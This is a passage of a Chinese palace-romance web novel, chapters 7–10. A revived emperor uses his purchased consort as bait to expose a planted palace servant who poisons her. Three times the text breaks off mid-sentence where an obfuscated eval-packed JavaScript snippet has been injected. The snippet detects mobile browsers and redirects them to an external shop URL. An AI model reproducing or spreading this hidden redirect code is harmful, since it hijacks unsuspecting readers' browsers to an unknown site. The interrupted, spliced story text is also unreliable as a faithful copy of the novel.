《小哭包被暴君偏宠了》 7. 过夜 娇美之人魏鄞修见过许多,皇宫从来不缺美人,上至嫔妃,下到宫女,每年都层出不穷。 他盯着焉闻玉这张脸看,在前世的回忆中搜索。 哪怕从未对哪个女子的面孔上心过,也依然确定,前世他的身边不曾出现过这个人。 魏鄞修对死后的事情知晓并不全面,他看见勤王在金銮殿上为难太后,看见皇叔登基后大晟依旧内斗不休。 还有另一个野心勃勃之人,在暗中筹谋。 不同的节点有一闪而过的短暂画面,他自行串连起来,从始至终,没有焉闻玉的存在。 而今他一朝重生,身边多了个与他结下冥婚的女子,毫无疑问,她就是唯一的意外。 魏鄞修当然要留着她,不论是否巧合,不能放走这个意外。 留在身边还能充当一个饵食,倒要看看,会不会有谁跳出来,对这颗冉冉升起的‘福星’下手。 尽管拭目以待。 焉闻玉在阁楼上撞见了魏鄞修,后面两日足不出户,说什么也不肯再去重昭殿送吃食。 可惜没能躲多久,就是去灵台山祭祖的日子。 这是太后娘娘命钦天监拟定的日子,自从皇帝起死回生,她处处敬谢神佛,不仅要给菩萨塑金身,还不忘告祭祖宗。 尤其是魏鄞修亲口吐露的那套说辞,帝星倚仗福星相持,玄之又玄,彻底把她给唬住了。 如今看待焉闻玉尤为宽容,也不介意她的来路出身,只盼着她能给皇家开枝散叶,早日生下一个小福星。 这么大的名头,把焉闻玉压得哑口无言。 可是她不能解释,她隐隐明白了,魏鄞修在故意高高捧起她。 想来,是成为棋盘上的一枚棋子。 既是棋子,那么便心安理得享受这一切,锦衣玉食,皆是她‘劳力’换来的。 想通之后,焉闻玉反倒轻松了许多,既来之,则安之。 灵台山之行,除了太后与皇帝,珞王和文筝公主也会同去。 太后生了三个孩子,文筝公主是最小的,今年十三岁,尚未及笄,也无定亲。 正是天真烂漫的年纪,口无遮拦,见着焉闻玉便问:“听说你是被爹娘给卖了,他们为何这样做?” 焉闻玉的身世在宫里不是秘密,都知道她是进来冲喜的。 不过刘家那真假千金的细节,只太后知道,她派遣心腹出去买人,要求家世清白,八字契合,还得年轻标致。 这才不委屈她的皇儿。 刘家是商户,焉家是农户,甭管焉闻玉姓什么,皆符合家世清白这一条。 文筝公主不知内情,只觉她被爹娘卖了十分可怜。 焉闻玉浅浅一笑,不欲多做解释。 小公主又感慨上了:“原以为皇兄的第一个妃子会是表姐,皇兄出事后她悲痛欲绝,大病一场,至今尚未大好呢。” 焉闻玉不知这是哪位小姐,没有贸然接话。 文筝公主扭头看她,仰着下巴道:“论先来后到,你才是晚来那个,往后可不能欺负人。” 焉闻玉想了想,忍不住小声提醒:“公主的表姐尚未进宫,我们这般肆意谈论,恐有碍于她的清誉……” “谁敢将此话外泄,”文筝竖起眉头,不以为意:“本公主撕烂她的嘴!” “……”焉闻玉瞥一眼侍奉公主的大宫女,再审视自己,这警告,莫不是对她说的? 文筝没有继续放狠话,坐到她身旁道:“自古帝王三宫六院,多得是女人,也不光我表姐一个,总会有其他人。” “公主这是开解我还是提醒我?”焉闻玉知道这个道理。 “随你怎么想,”文筝挽唇笑了笑:“如今这后宫,还没热闹起来呢。” 宫墙内的故事对焉闻玉而言宛如两个世界,她多少有些好奇:“热闹起来会如何?” 文筝回道:“人多口杂,争妍斗艳,时不时就有好戏上场。” 焉闻玉立即想到了谢姨娘,利益之争,非死即伤。 一个刘家的财富就能促使人犯下恶行,那么皇宫里所牵扯的,将是多少个刘家…… 无上的权力与荣宠,叫人趋之若鹜。 文筝觑着眼打量她的反应,笑道:“你听闻了我表姐,怎的一句都不问?” 焉闻玉不解,迎着她的视线:“问什么?” “自然是问她和我皇兄的事,你就不好奇么?”文筝都看不出她是假装,还是真的不在意。 焉闻玉一脸老实的摇头:“这不是我该过问的事情。” 皇帝有几个女人,要跟谁好,她管得着么?估计就连太后娘娘都管不着。 文筝觉得有点意思,道:“你这性子,说不准很适合后宫。” 不贪图更多,比表姐适合,毕竟这种地方,很难容下痴心人。 焉闻玉被一个十三岁的小姑娘给指点了,再看小公主盈盈带笑的模样,又不觉得她天真烂漫了。 宫里成长的孩子,大抵与普通人家不一样。 ******* 灵台山坐落于京郊,修建了皇陵与祭坛,传闻龙脉深埋于此,日常重兵把守。 行宫屹立在群山环绕之间,炎炎夏日倒是沁凉宜人。 焉闻玉没想到自己这么快就能从皇城走出来。 可惜全程在马车里,仪仗随行,声势浩大,过了一道又一道门。 她不清楚是怎么进去的,当时为了方便行事将她药i晕,如今往外走才知道有多艰难。 住进行宫,身为宠妃,理所当然地被分配到同个寝殿内。 丁嬷嬷很是满意,这不抬头不见低头见,近水楼台先得月,一面又觉得可惜:“这两日要素净些,红裙绿裳都收起来。” “娘娘穿什么都好看,”听兰翻出一套月白飞鸟长裙,道:“这件色泽浅,也不失庄重。” 丁嬷嬷检查过后同意了,点头道:“就它了。”又喊来弄梅,让在里衣多下点功夫。 弄梅早有准备,肚兜小衣皆出自她手,捧出轻薄的两片布料:“嬷嬷吩咐的,都做好了。” 焉闻玉在内室看她们归置笼箱,见状面色瞬间涨红了:“怎么能穿这种……” 她从未见过这等形式的小衣,如何能遮得住…… 丁嬷嬷知道未经人事的小姑娘脸皮薄,笑道:“这可是宫廷秘传,外头人未必听过。” 要不是她见多识广,弄梅也做不出来。 焉闻玉连连摇头:“我不要,不要穿这个。” “怕什么,各自衣裳底下是何模样,外人哪里知晓。”丁嬷嬷接过小衣,道:“弄梅多做一些,以后都穿这个。” 别说眼下非丧事白事,就是佛门清净地礼佛,都有人不守规矩呢,须知越是禁ii忌越刺ii激。 焉闻玉脸上的红晕消散不去,抿着唇角道:“嬷嬷不必如此,我不要穿这种。” 正经人家的姑娘会这样么?她不曾接触过勾栏女子,不过有听说过,以i色i媚i主,无所不为。 丁嬷嬷顿时收敛了笑意,道:“这都快一个月了,娘娘尚未侍寝,难道不知晓太后的用意么?” 焉闻玉辩解:“我多次前往重昭殿送汤水,并非没有行动……” “光是这样不够,”丁嬷嬷两手秉持身前,道:“宫里从不缺美人,不知情识趣的,扭头就被遗忘了。” 焉闻玉的拒绝无用,丁嬷嬷吩咐弄梅用这件小衣,当晚沐浴过后就给套上了。 太后派遣来的嬷嬷,都不敢与她唱反调。 焉闻玉养得一身好皮肉,该鼓的鼓,该细的细,轻薄两片料子几乎都承托不住那白到晃目的雪团。 她一眼都不想看,半是生气半是委屈,眼皮通红。 何为知情识趣?即便她是妃子是妾室,当不得正宫娘娘的派头,就该奴颜婢膝,自给不堪么? 并非瞧不起那些挣扎求生的女子,只是能用色i相勾住的,绝非良人,他回头就能在其他地方咬钩,对她弃如敝履。 得来的只有轻视与不尊重。 丁嬷嬷瞥见她神色,不由乐了:“娘娘这含泪的模样,奴婢瞧了都忍不住动容,可惜陛下没看着。” “娘娘自幼当做小姐教养,想必家中有所教导,正头娘子庄重自持,定是唾弃那等下i贱之人。” 焉闻玉被说中了,抬眸看她。 丁嬷嬷挑眉道:“你且想想,大户人家的主母再好,也管不住丈夫纳妾,一个个姨娘抬进来,是为什么?” 不等她回答,又接着道:“这关上门来哪还分那么许多,笼络住主君的心才最要紧,衣裳底下什么样,我们不说,谁又知道!” 焉闻玉怔愣了一瞬,垂下睫羽,泫然欲泣。 是这个道理……可正因为有理,她才觉得自己如此悲哀。 除去色i相,她是半分能耐都没有了,皮囊俨然成为她手中唯一的‘武器’。 焉闻玉把寝衣裹得严严实实,坐在梳妆台前闷闷不乐。 丁嬷嬷未再多言,退了出去。 弄梅有些忐忑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152722|138530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,缀在后头道:“娘娘不高兴了。” 丁嬷嬷不以为意:“她有什么资格拿乔,太后早就想给陛下纳妃,她不争,有的是别人争。” 她已经开始后悔,跟了这么一位主子,原以为是个聪明人,瞧着未必能走长远。 焉闻玉不至于那样愚钝,偏偏骨子里是倔强的。 同住一殿,魏鄞修回来时,训德卖了个好,过来通知她去侍奉宽衣。 焉闻玉的内室已经熄了灯,她早早躺下装睡,不想过去。 丁嬷嬷不允许错事这等好机会,径自入内来,请焉闻玉起身。 她板着一张老脸,道:“可不是谁都能在御前侍奉,娘娘自己掂量掂量。” “陛下并无传召,”焉闻玉闭眼躺在床上,“嬷嬷,我困了。” 丁嬷嬷见状,上前一把拉起她,伸手扯开她寝衣的衣襟,露出一片雪色肌理:“因为这一件小衣,娘娘就耍起了小孩儿脾气?” “你做什么?” 焉闻玉没料到她突然动手撕扯衣裳,挣扎道:“不需要太多原因,我不想做,所以不去。” 仅此而已。 丁嬷嬷彻底冷了脸,道:“娘娘这般不懂事,奴婢只好如实禀报太后了。” “我……”焉闻玉的泪落了下来:“我是不是该□□的去恳求陛下临幸?” 她当然害怕太后,在这宫里,谁都能捏死她,如同捏死一只蚂蚁。 “那就让太后处置我好了。” 反正也不是很想活了。 魏鄞修进来时,便见焉闻玉衣不蔽体,坐在床上哭。 他眉梢微扬:“朕来得不是时候?” 对峙的二人吓了一跳,不成想皇帝出现,连忙跪下行礼。 焉闻玉从没有在外人跟前这样狼狈,慌忙趴在床上,埋头挡住身前凌乱。 前不久才说不会哭的,她在魏鄞修跟前食言,焉有好果子吃…… 却听这人一开口,就发落了丁嬷嬷:“训德,把她拉下去,打五十大板。” “陛下?!” 丁嬷嬷满脸惶恐,仓皇磕头:“奴婢知错,陛下饶命啊!” 她不知道皇帝听见了几句,纵使她言行不当,可也没那么严重,她是太后娘娘派来的啊! 训德在外间不敢擅自入内,但耳朵好使,一挥手就让两个宫女进去,一左一右把丁嬷嬷拖出去。 焉闻玉也很意外,披着薄被愣愣抬起头来,打五十个板子? 她沉默等着,以为魏鄞修下一句就该发落她了,谁知他只是面无表情的望着她。 四目相对,焉闻玉半点都看不透眼前的男子,仿佛蛰伏在幽暗中的猛兽,叫人捉摸不定。 丁嬷嬷没有被拖多远,就在偏殿外头,板凳一架就开始行刑。 板子拍打肉身的闷响声都能听见,更遑论她拉着嗓子一顿惨叫,凄厉得很。 焉闻玉回过神,小声问道:“陛下为何惩治丁嬷嬷?” “怎么,朕打错了?”魏鄞修冷冷一抬眼皮。 “陛下没错,”焉闻玉抽抽鼻子,道:“只是五十个板子……她会死的。” 丁嬷嬷的岁数摆在这,哪里吃得消这等责罚,况且也罪不至此。 “看来祝妃想替她求情。”魏鄞修缓步靠近,高大的身形堵在床前,低头凝视她卷着的薄被。 焉闻玉有些怕他,目光游离不敢看,摇头道:“臣妾是替自己求情,怕她那条命算在我账上。” 魏鄞修不置可否,撩起一角衣袍在一侧落座。 他倒是沉得住气,焉闻玉听着外头丁嬷嬷的哀嚎中气不足,都快晕过去了,不禁心下着急:“陛下不妨给太后娘娘两分情面。” 魏鄞修道:“你便是这样求情的。” 焉闻玉一怔,一时间拿不准他是何意,实在是板子不等人,怕把老嬷嬷给打死了。 她斗胆揪住他的衣袖:“臣妾恳请陛下,饶了丁嬷嬷……” 魏鄞修垂眸扫了一眼,缓缓抽离自己的衣袖。 “训德,依祝妃所言,饶她不死。” 训德就在外头候着,躬身笑道:“祝妃娘娘心善,老奴这就让他们停手。” 丁嬷嬷吃了一场教训,好歹命是保住了。 焉闻玉稍稍松一口气,又听魏鄞修道:“你要在床上躲多久?替朕更衣。” “陛下……要在此过夜?”她下意识裹紧了自己的小被子。 “你说呢?”他面无表情的反问。 显然他的耐心并不多。 8. 赐宴 “臣妾这就……” 焉闻玉迟疑了一瞬,拢着被子转过身去,背对着他迅速整理自己凌乱的寝衣。 说什么也不能以失礼的面貌示人,万一以为她是故意的…… 魏鄞修没有出声催促,如墨般漆黑的眼瞳带上两分审视。 他并非对皇城外的民间一无所知,身居高位,接触过各种不折手段往上爬的人。 很少有谁会拒绝一条摆在面前的青云路,宠辱不惊也不是那么容易做到。 世上当然不缺那些品性高洁者,但焉闻玉怎么看都不是那一类人。 她胆小怕事,哭哭啼啼,莫不是在欲拒还迎? 魏鄞修一言不发,决定宿在偏殿,叫焉闻玉的内心好一阵忐忑,伸出去的手都在颤抖。 她从未给男子宽衣解带过,也没人教她,眼下只能硬着头皮上了。 细白的指尖触及他的腰封,劲韧窄腰,挺拔昂扬的身躯近在咫尺。 焉闻玉先前只知道魏鄞修高大,站到跟前才真实比对出来,她的个头堪堪在他肩膀处,被衬得如此娇小。 似乎整个人都被他的气息笼罩住了,陌生的,隐隐让人感觉害怕。 或许这份恐惧来源于未知,焉闻玉不清楚魏鄞修会对她做什么。 然而,这人神色冷俊,瞧着不好相与,倒没有开口挑剔她的规矩。 夏日衣衫单薄,解了外袍就是一件寝衣,他大步一跨挪到榻前就寝,毫不拖沓,没有二话。 叫焉闻玉暗自松一口气的同时,又生出疑虑。 陛下对她的态度,彼此接触下来感知如何,当事人最清楚,绝非外人以为的那样‘宠爱有加’。 可他确实给了诸多封赏,刚才还要她一句话,就饶过丁嬷嬷…… 这是为什么呢? 焉闻玉小心翼翼的躺在外侧,这是她第二次跟男人同卧一处,这回的床可比不上龙榻宽敞。 稍微动一下,就要碰到肩膀了。 因着不像上回那般一心忧虑生死,心境倒是更复杂起来。 焉闻玉以为自己会思虑良多,难以入眠,然而在安静的昏暗纱帐中,不知不觉就睡了过去。 待她一觉醒来,睁开眼睛,外头天光大亮,身侧没了人影,竟连魏鄞修何时起身都不知晓。 听兰染菊二人打水入内伺候,皆是小心谨慎,丁嬷嬷昨晚挨了一通板子,现在谁敢小瞧这位主儿? 太后的人都被不眨眼的发落了! 今早陛下离开时,还交待说不必唤醒祝妃呢…… 焉闻玉不清楚她们作何想法,她自己隐约知道,侍寝不是这样的,可是她不敢问,也不会往外说。 梳洗过后用了些饭食,过问一番丁嬷嬷的状况,颇为严重的皮肉伤,得修养好一阵子才能下地。 焉闻玉不喜丁嬷嬷勉强自己,却也没想过把人狠狠打一顿,她担心驳了太后的颜面,彻底得罪了人。 听兰却道:“娘娘多虑了,是丁嬷嬷自己触犯陛下,昨晚若非娘娘开口求情,不定能否捡回一条小命。” 染菊跟着点头:“今早奴婢去给丁嬷嬷送粥,她还感激娘娘呢。” “感激我?”焉闻玉半是疑虑,半是茫然,似乎真因为她一句话,赦免了丁嬷嬷的罪过。 可是这件事从一开始,就有那么严重么?喊打喊杀的…… 焉闻玉不禁好奇,外界对魏鄞修作何评价。 他起死回生那一日,早朝上就见了血,对勤王都毫不心慈手软。 之后又陆续处置了几个大臣,如今连后宫的宫人都不得安生。 已经有人悄悄称之为暴君。 但不得不说,此法迅速而有效,因畏生惧,因惧生敬,帝王驾崩后蠢蠢欲动的各方势力,纷纷消停了下来,避其锋芒不敢冒头。 ******** 祝妃初次伴随圣驾现身人前,一晚上过去就风头无两。 陛下为她网开一面的消息传遍了行宫,快到焉闻玉都没反应过来。 在旁人的描述中,她俨然成为御前能说的上话的宠妃。 她所担忧的太后娘娘的问责,也没有发生。 及至下午开坛祭祀,训德过来安排位置,让焉闻玉跟在太后下首,一同进入宗祠祭拜,更引人瞩目了。 按理说,祝妃并非正式迎娶册封的皇后,也未生养子嗣,本不能入内,在外头祭拜已是无上荣光,但陛下偏要做此安排。 太后没有开口阻止,只要是对帝星有好处的,这点小小例外算得了什么。 她不反对,令恩侯自然不多嘴,吕相爷等臣子也三缄其口。 文筝公主忍不住对焉闻玉刮目相看,一散场就找了过来。 她颇为惊奇,道:“皇兄对你如此偏宠,看来是真心喜爱你,我原以为,他不懂怜香惜玉那一套。” 从小到大,可没见他对哪个女子和颜悦色过。 喜爱?焉闻玉带着两分茫然,点头应和道:“陛下待我不薄。” 她如今衣食无忧,众人簇拥,好似被捧上了云端。 文筝公主不禁一笑,打量她这白白软软的模样,谦逊的场面话都不说两句,也太老实了。 她道:“换做官家小姐早就如鱼得水了,帝王的恩宠,就是最有力的权柄。” 哪能由着个嬷嬷欺到头上,连她都听说了。 权柄如刀,寻常人握不住,焉闻玉抿着唇角道:“我只想好好活着。” 小公主对此多少有些不以为然:“活着还不简单,谁敢得罪我皇兄呢?他可是连皇叔的胳膊都敢削!” “……”他确实很凶,焉闻玉只敢在心里编排。 “你怎的这般胆小。”文筝朝她一眨眼,道:“纵使伴君如伴虎,你哄好了皇兄,必定高枕无忧。” “公主说的是。”焉闻玉只觉她小小年纪,讲话鲜活有趣。 二人正聊着,斜侧方传来一个轻咳声,伴随着轻缓的脚步,一个蓝衣清瘦的男子出现在拐角。 “文筝叫我好找。”珞王魏明斐走了过来,与焉闻玉相互见礼:“祝妃娘娘。” “珞王安好。”焉闻玉回他一礼。 初次见魏明斐,这三兄妹,长得完全不一样。 魏鄞修的五官更为英挺深邃,眉峰高直,薄唇浅淡,瞧着就不好相与,有一股与生俱来的冷冽与压迫。 而魏明斐与之相反,他有着文人的隽秀,眉目柔和,显得内敛而又无害。 “六皇兄不来找我,我也正要找你,”文筝道:“今早母后提了一嘴抄写经文,正要六皇兄帮忙呢。” 魏明斐闻言,无奈摆手道:“此事我可不敢代劳。” 皇帝死而复生,太后允诺给神佛塑造金身,可不仅一句话的事儿,为显诚心,她决定让至亲之人都参与手抄经文。 正好塑造金身也要几个月时间,充裕得很。 兄妹二人一个都逃不掉,就连焉闻玉也难以避免。 文筝苦着个脸:“我不怕写字,可一整卷经书那么长,出错半点就得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152723|138530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重来,实在愁人!” 但凡将卷轴换做纸张,就好办多了。 焉闻玉才刚得知,回京后就要被派发任务,忍不住问道:“需要多少份?” 文筝叹了口气:“至少七八卷,日日专注都要抄上半个多月。” 她的母后心诚,也不是头一回了,信奉时无比虔诚,掏心掏肺的,前不久皇兄出事,又恨不能弑神…… 可谓是矛盾得很。 “平日躲懒就罢了,这回不应如此。”魏明斐看了一眼焉闻玉,道:“毕竟给陛下送来了福星,我们理应好好抄写,酬谢神佛。” 这些未必有用,不过是聊表心意。 文筝不敢反驳,她也说不准福星多厉害,反正皇兄能死而复生是事实,是天大的好消息,辛苦抄经文,她倒是乐意了。 福星本星焉闻玉不禁沉默了。 她被买进宫里,赶鸭子上架一般做了新娘子,什么都没做,莫名就被冠上了福星的名头。 都不知该上哪解释去,谁又敢驳回陛下开的金口? ******** 当天御驾仪仗返回皇城,太后娘娘果然派了房嬷嬷过来,知会一声之后要抄写经文的打算,让焉闻玉过两日去景明宫挑选。 此举足以彰显厚待,太后没有直接送来经文吩咐,她还有的挑。 不仅如此,回宫后的第一个晚膳,陛下赐宴朝悦宫,与祝妃同席而食。 天色未暗,朝悦宫已燃起一盏盏明亮的宫灯,宫人鱼贯出入,井然有序。 这是焉闻玉头回见识御膳,帝王的规格,精致碟碗摆满桌,自然与她的大不相同。 桌案上摆了好些她不曾吃过的菜肴,色香味俱全。 魏鄞修这人面冷,瞧着不好相与,但他大多时候不爱搭理人,也不会主动去挑人错处。 焉闻玉即便心里犯怵,慢慢的也能安然就坐,无声进食。 菜品很美味,最后一道点心是甜口的。 夏日清甜的荔枝盛放在荷叶盏中,注入金黄蜜液,外边洒了一圈牛乳勾芡,色泽白润,果香扑鼻。 焉闻玉浅尝一口,颇为喜欢。 刘家衣食富足,但要吃上荔枝这等南方佳果也不容易,还是新鲜的,甜滋滋难以拒绝。 只是,焉闻玉刚要吃第二口,就被身侧的魏鄞修给拦住了。 那指节修长的大手,径自越过她面前,拿走了属于她的翡翠荷叶碗。 魏鄞修垂眸,望着她红艳艳泛着水光的唇瓣,淡淡开口:“果品虽好,不宜贪食。” 焉闻玉愣了愣,才反应过来,她居然被他说贪食? 她下意识回想,自己这个晚膳莫非吃得太多了,被这样指出未免太丢人了…… 焉闻玉一边自我怀疑,一边带有几丝羞愤,说不出话来。 活像受了莫大委屈的小哑巴。 御膳撤下,日理万机的魏鄞修并未立即离去,他不仅坐下饮茶,似乎还有留宿的意思。 听兰弄梅等人自去寝殿内张罗,铺床叠被,筹备香汤。 焉闻玉陪坐一旁,忽然腹部疼痛难耐。 她心下一惊,以为当真是贪嘴多吃了,要在御前有失仪态。 谁知伴随着疼痛,喉间涌上一阵腥甜,‘哇’的呕出一口血来,她再也顾不上是否失礼,眼前阵阵发黑,栽了下去。 失去意识的前一瞬,依稀瞧见了魏鄞修伸出的胳膊,以及那波澜不惊的沉着俊颜…… 焉闻玉被揽在怀中,人事不知。 9. 恍然 朝悦宫的寝殿,弥漫着汤药的苦涩味。 焉闻玉苏醒的第一时间就闻到了,不光嗅觉有感知,甚至她嘴里都在发苦,迷糊着似乎记得有被扶起来灌过药汁。 天光大亮,室内是听兰和染菊二人守在榻前。 焉闻玉浑身无力,努力回想:“我怎么了?” “娘娘!娘娘醒了!”两个宫女见状松一口气,一人去外头通禀陛下,另一人负责解释。 “丁嬷嬷怀恨在心,竟然企图毒害陛下,不慎牵连娘娘,陛下龙颜大怒,已经下令当场绞杀。” “什么?”焉闻玉一手扶额,爬不起来。 她那么疼,还吐了血,是因为中毒?丁嬷嬷下的毒? 染菊说丁嬷嬷虽是太后宫中出来的人,但实则是被安插多年的棋子,暗中潜伏,所图甚大。 这一次是因为自知再不动手往后便没有机会,所以铤而走险。 焉闻玉听得云里雾里,低声问道:“她要毒杀陛下?” 染菊一点头,回道:“此次是娘娘替陛下挡了灾,昨晚突然毒发,陛下立即命御医前来诊治,还不假他人之手给娘娘喂的药,中途吐了两回,最后可算平安无事了……” 染菊回想起来,依然觉得凶险,幸而祝妃娘娘福泽绵厚。 焉闻玉低头审视自己,如今确实不疼了,衣裳也换过新的,身子还不太舒服,但已经脱离危险。 只是—— 她难道是个傻子不成? 那毒分明是下在蜜煎荔枝里的,魏鄞修不爱甜口,碰都没碰,她吃了一口就被拦住了…… “我给陛下挡灾?我是福星?” 焉闻玉的指尖微颤,心里滋生出一股浅浅凉意。 她对朝堂之事一概不知,不久之前,她还是养在商户后宅的一个小姑娘,所见所闻皆是寻常,哪里知道达官贵人之间的盘根错节? 丁嬷嬷或许真的来历不纯,魏鄞修没必要去冤枉一个老宫人,这背后的来龙去脉,她不清楚。 但有一点感知是不会错的,那毒是冲着她来的——为了毒死皇帝身边这颗招摇的‘福星’。 这段时日以来的不安落了地,焉闻玉终于知道,她对魏鄞修来说,有何作用。 予她位份和荣宠,将她高高捧起,只要她开口求情,就‘饶恕’丁嬷嬷。 所有的一切,在魏鄞修醒来那天,去上朝的那一刻,他就在谋划了。 她莫名其妙被推到人前,得到一个响亮的名头,什么承托帝王星之功,她半句都听不懂…… “娘娘你怎么了?”染菊没想到自己解释完,她眼皮泛红,都快哭了,连忙道:“奴婢这就去传唤御医!” “……不必了,”焉闻玉软软的倒了下去:“暂且死不了。” 她的作用,肯定不止是揪出一个丁嬷嬷吧? 魏鄞修的敌人是谁?他是高高在上的皇帝,手握生杀大权,也有敌人么? 听兰端着一盅熬至软烂的蔬菜粥进来,想伺候焉闻玉梳洗。 焉闻玉摇头拒绝,她不想起来,也没胃口吃东西。 伸手一摸胸前,空荡荡的,“我的小金锁呢?” 听兰笑道:“陛下怕硌着娘娘,暂时收起来了。” 这般细致体贴,只有她们娘娘才能有此殊荣。 焉闻玉蹙起秀眉:“把它拿给我。” 听兰见她不畅快,也不敢说笑了,去梳妆台那边取了来,一边道:“待会儿还要喝药,娘娘多少吃一点吧?” “不用了,你们出去。” 焉闻玉难受得很,只想躲起来哭一哭。 她被卖掉那一刻,做过最坏的打算,兴许这辈子都见不到在乎之人了。 她在乎的人没有多少,她的世界那么小,真心关怀她的人也不多。 惟愿奶娘性命无虞,知夏能有个好归宿,还有祯儿……想来皆无缘再见。 年少不知事的这份小小友情,在许多人看来,那么微不足道,可是此刻焉闻玉想着,倘若她死在皇城内,祯儿还会记得她么? 她以为自己没有那么怕死,毒药发作的时候,疼痛但并不惧怕,因为不知晓死亡临近。 这会儿看清了自身处境,她也称不上怎么害怕。 只是……一想到如此无声无息,世上再无人记得她,她又很难过。 非常难过。 焉闻玉闷头呜呜的哭,把自己哭得浑身抽抽,直到被人从被窝里挖出来,接触到外头的空气,才轻喘着呼吸。 “又哭了?”魏鄞修单手握住她纤细的胳膊,以他的力道,几乎能轻松将人提起来。 他没有那么做,还稍稍放松了五指。 小姑娘整个人闷得通体粉嫩,凌乱发丝黏在额角,生生哭出一身汗,那两只红通通的眼睛,瞧着好不可怜。 焉闻玉不知道他什么时候来的,也不是很在意,坐在榻上不行礼也不喊人。 魏鄞修微一挑眉,招手让宫女入内,给她稍作擦洗,整理仪容。 焉闻玉很快就干干净净清清爽爽了,不过双眸水润,鼻尖泛红,跟那林间小鹿一样无害,却又隐含倔强。 魏鄞修坐在一旁无声打量她,面上不见愠色,仿佛是最最包容爱妃小性子的帝王。 他道:“朕处死了那老嬷嬷,你若不痛快,尽管说出来。” 焉闻玉摇头,抽抽噎噎的,未能立即平静下来。 “身子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152724|138530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可有不适?”魏鄞修又问。 他发现,他在某些方面的容忍度有了显著提升,以往最不喜聒噪之人,更不可能放任一个女子在身边哭哭啼啼,他居然没有把她给丢出去,换一个更听话的来。 焉闻玉不知这人可恶的想法,她逐渐缓过劲儿来,哑着小嗓音道:“臣妾无事,多谢陛下关心。” 日子还得过,能过一天是一天,还要寻死觅活不成? 指不定活着活着,就出现了一条生路。 不配合也不行,君要她死,她即刻就死了。 她说无事,魏鄞修不信,吩咐御医过来诊脉。 焉闻玉苏醒时听兰就去传唤了钱太医,这会儿已经正在殿外候着,很快便躬身入内,隔着纱帐把脉。 她中毒的剂量小,且诊治及时,昨晚又吐了两回,基本清干净了,可谓是有惊无险。 之后再喝两副汤药就无事了。 魏鄞修挥退了钱太医,侧目望向焉闻玉:“听说你不吃东西,也没喝药?” 不消他吩咐,染菊已经把蔬菜粥和热气腾腾的汤药端来了。 这两日少沾荤腥,蔬菜粥清甜爽口,正适合遭受摧残的肠胃。 焉闻玉以为他要拿这话问罪,至少是指责她,谁知,他长臂一探,拿起那碗粥道:“朕喂你。” 焉闻玉不禁微怔,圆溜溜的眼,与他四目相对,他能做到这等地步,纡尊降贵喂他的‘爱妃’喝粥吃药。 果真是成大事者,不拘小节。 “臣妾不敢,”焉闻玉伸手去接:“我自己吃。” 她要快点好起来,应对可能到来的其他危险。 魏鄞修并没有把碗给她,“张嘴。” “陛下……” “你好像不怕朕了。”他忽而抬眸,若有所指道:“哭过一场,祝妃的胆量有所见长。” 焉闻玉确实没那么怕了,未知全貌的时候,才最恐惧。 而现在明知恐惧无用,又有何惧。 她收回了手,乖乖接受帝王的喂食,没有什么是不能适应的。 ……只是两人都低估了喂粥这件小事的难度。 一个往前送,一个张嘴接,听上去很简单,实际做起来,不是勺子磕着牙,就是米汤沿着勺底滴落,焉闻玉压根来不及接住它。 不仅被糊了下巴,胸前的衣襟还晕湿了两块印记。 边上的染菊和听兰都不敢出声,既怕打扰了,也怕中断了,只默默递上白色帕子。 魏鄞修随手接过,往她湿糊糊的地方擦去,指尖按压上那绵软又回弹,他才意识到不妥。 这粥是喂不下去了。 魏鄞修丢开帕子站起身,道:“自己喝。” 10. 装病 焉闻玉捂着胸口往后躲了躲,敢怒不敢言,忍不住偷偷瞪了他一眼。 哪知这人的后脑勺长了第三只眼似的,突然回头,将她的小表情抓个正着。 “怎么,祝妃对朕有意见?”魏鄞修微微眯起他狭长的眸子。 “臣妾不敢。”焉闻玉一脸老实的垂下脑袋,低眉顺目。 “不敢?”魏鄞修弯腰俯身,凑近她耳畔低语:“朕碰到了又如何。” 且不说他无心之失,即便是故意为之,又有何不妥? 在外人眼中,他们早已有了夫妻之实。 “什么?” 焉闻玉多少有点被这个态度气着了,她可以成为棋子,可以被利用,但是,才不要出卖自己的身体。 前者她别无选择,后者至少能够自行决定。 “臣妾身子不适,无法侍奉,就不耽误陛下的时间了。” 一开口就是逐客令,恐怕没有哪个妃嫔胆敢这样对待皇帝,此刻她尚未痊愈,倒是理直气壮。 只可惜那桃花色的眼皮,削减了她的气焰。 在魏鄞修看来,与小猫挥舞爪子无异。 魏鄞修并不在意她这点小脾气,或者说,焉闻玉此时此刻的想法,于他而言无关紧要。 他仗着重生,手里掌握有更多讯息,才能精准的把深藏不露的丁嬷嬷给揪出来。 